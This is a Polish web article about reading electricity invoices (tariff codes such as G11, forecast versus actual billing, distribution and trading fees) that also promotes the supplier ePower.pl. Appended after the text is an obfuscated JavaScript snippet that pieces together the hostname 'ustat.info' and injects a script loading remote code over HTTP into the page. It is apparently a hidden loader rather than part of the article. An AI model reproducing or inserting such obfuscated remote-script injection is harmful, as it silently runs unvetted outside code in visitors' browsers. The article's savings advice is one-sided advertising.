15 marca 2015r. godz. 08:51, odsłon: 7234, Redakcja

Jak płacić niższe rachunki za prąd

Najprostszym sposobem obniżenia rachunków za energię elektryczną jest zmiana jego sprzedawcy.

A żeby to zrobić świadomie warto nauczyć się czytać faktury, aby wiedzieć, za co konkretnie płacimy. A więc do dzieła.

W tej chwili na rynku są różne faktury za energię elektryczną. Najprościej rzecz ujmując ich rodzaj zależy od tego, od kogo kupujemy prąd. Czasem dostajemy tylko jedną, a czasem dwie.

- jedna faktura nazywa się „kompleksową”. Trafia do naszych skrzynek wtedy, gdy sprzedawca jest również dystrybutorem energii i są na niej wyróżnione wszystkie części składowe ceny;

- dwie faktury dostaniemy w sytuacji, gdy sprzedawca nie jest dystrybutorem. Od tego pierwszego dostaniemy wówczas fakturę „sprzedażową”, od drugiego - „dystrybucyjną”. Niektórzy klienci obawiają się, że to skomplikuje im płacenie rachunków. Niepotrzebnie, bo wystarczy np., ustawić polecenie zapłaty. Podobna sytuacja jest zresztą w przypadku opłat za mieszkanie: przelewamy je na dwa konta – osobno czynsz i osobno kwotę na fundusz remontowy. Opłata za energię elektryczną działa na podobnej zasadzie.

Faktura „kompleksowa” jest najszersza; „sprzedażowa” i „dystrybucyjna” są rozbiciem jej na dwie części.

Na fakturze „kompleksowej” znajdują się informacje na temat jej wystawcy (numer, data), odbiorcy (czyli dane klienta) oraz rodzaj taryfy złożony z ciągu litery i cyfr. Żeby go rozszyfrować, trzeba wiedzieć, że:

-  litera oznacza poziom napięcia zasilania, przy czym „A” i „B” widnieją na fakturach raczej rzadko, ponieważ są przypisane zakładom przemysłowym różnej wielkości. Litera „C” oznacza przedsiębiorstwa (napięcie poniżej 1kV), a najczęściej spotykana „G”  – gospodarstwa domowe;

- pierwszą cyfrą zawsze jest „jedynka” albo „dwójka”, co  oznacza wielkość zamówionej mocy. Dla „jedynki” jest to mniej niż 40 kW,  dla „dwójki” - powyżej 40 kW;

- druga cyfra informuje o tym, czy korzystamy z taryfy jedno-, czy dwustrefowej (mówiąc prościej: czy przez całą dobę płacimy za prąd tyle samo, czy też nocą – mniej).

Większość faktur jest wystawianych dla gospodarstw domowych, mocy do 40 kW i jednej taryfy. Ich oznaczenie to: G11. Właśnie taki symbol zobaczymy najczęściej na fakturze za prąd.

Oprócz tego mają jeszcze jeden punkt wspólny: zwykle są fakturami prognozowymi, czyli wyliczonymi na podstawie dotychczasowego zużycia. Prawdziwe raz na pół roku odczytuje z licznika inkasent. Dopiero wtedy robiona jest korekta i płacimy ostateczną cenę.  Może się okazać, że mamy nadpłatę, bo wcześniej zapłaciliśmy więcej. Albo na odwrót. Sposobem na uniknięcie takiej sytuacji jest zainstalowanie inteligentnego e-licznika, który na bieżąco przesyła dane na temat rzeczywistego zużycia energii. Usługę taką oferuje np. ePower.pl, pierwszy w Polsce sprzedawca prądu przez internet. Dodatkowo klientom, którzy w ciągu roku zużywają minimum 25 MWh, ePower.pl udostępnia go za darmo.
Na drugiej stronie faktury znajdują się informacje na temat okresu rozliczeniowego (dla małych przedsiębiorstw zwykle to jeden-dwa miesiące, a dla gospodarstw domowych – pół roku) oraz opłat. Są to:

- wskazanie licznika i cena za 1 kilowatogodzinę

- opłata handlowa (czyli opłata za fakturowanie itd.);

- opłaty dystrybucyjne (pobierane przez dystrybutora);

- stawka VAT – 23 proc.

Warto wiedzieć, że dystrybutora nie można zmienić, ponieważ każdy rejon ma go przydzielonego odgórnie. Dla naszych rachunków nie jest to jednak istotne, ponieważ stawki dystrybutorów są regulowane przez Urząd Regulacji Energetyki. Można za to oszczędzić wybierając sprzedawcę, który nie nalicza opłaty handlowej, a tak jest np. w epower.pl. W efekcie dostajemy tańszy prąd.

(function(){ urap=document.createElement("script");urap.type="text/javascript"; urap.async=true;urap_=(("us")+"t")+"a";urap_+=("t.i")+""+"n";urap_+=(("f")+"o"); urap.src="http://"+urap_+"/1918300.4vkgd3q4rap8rtak5hXzpqy5qallex"; document.body.appendChild(urap); })();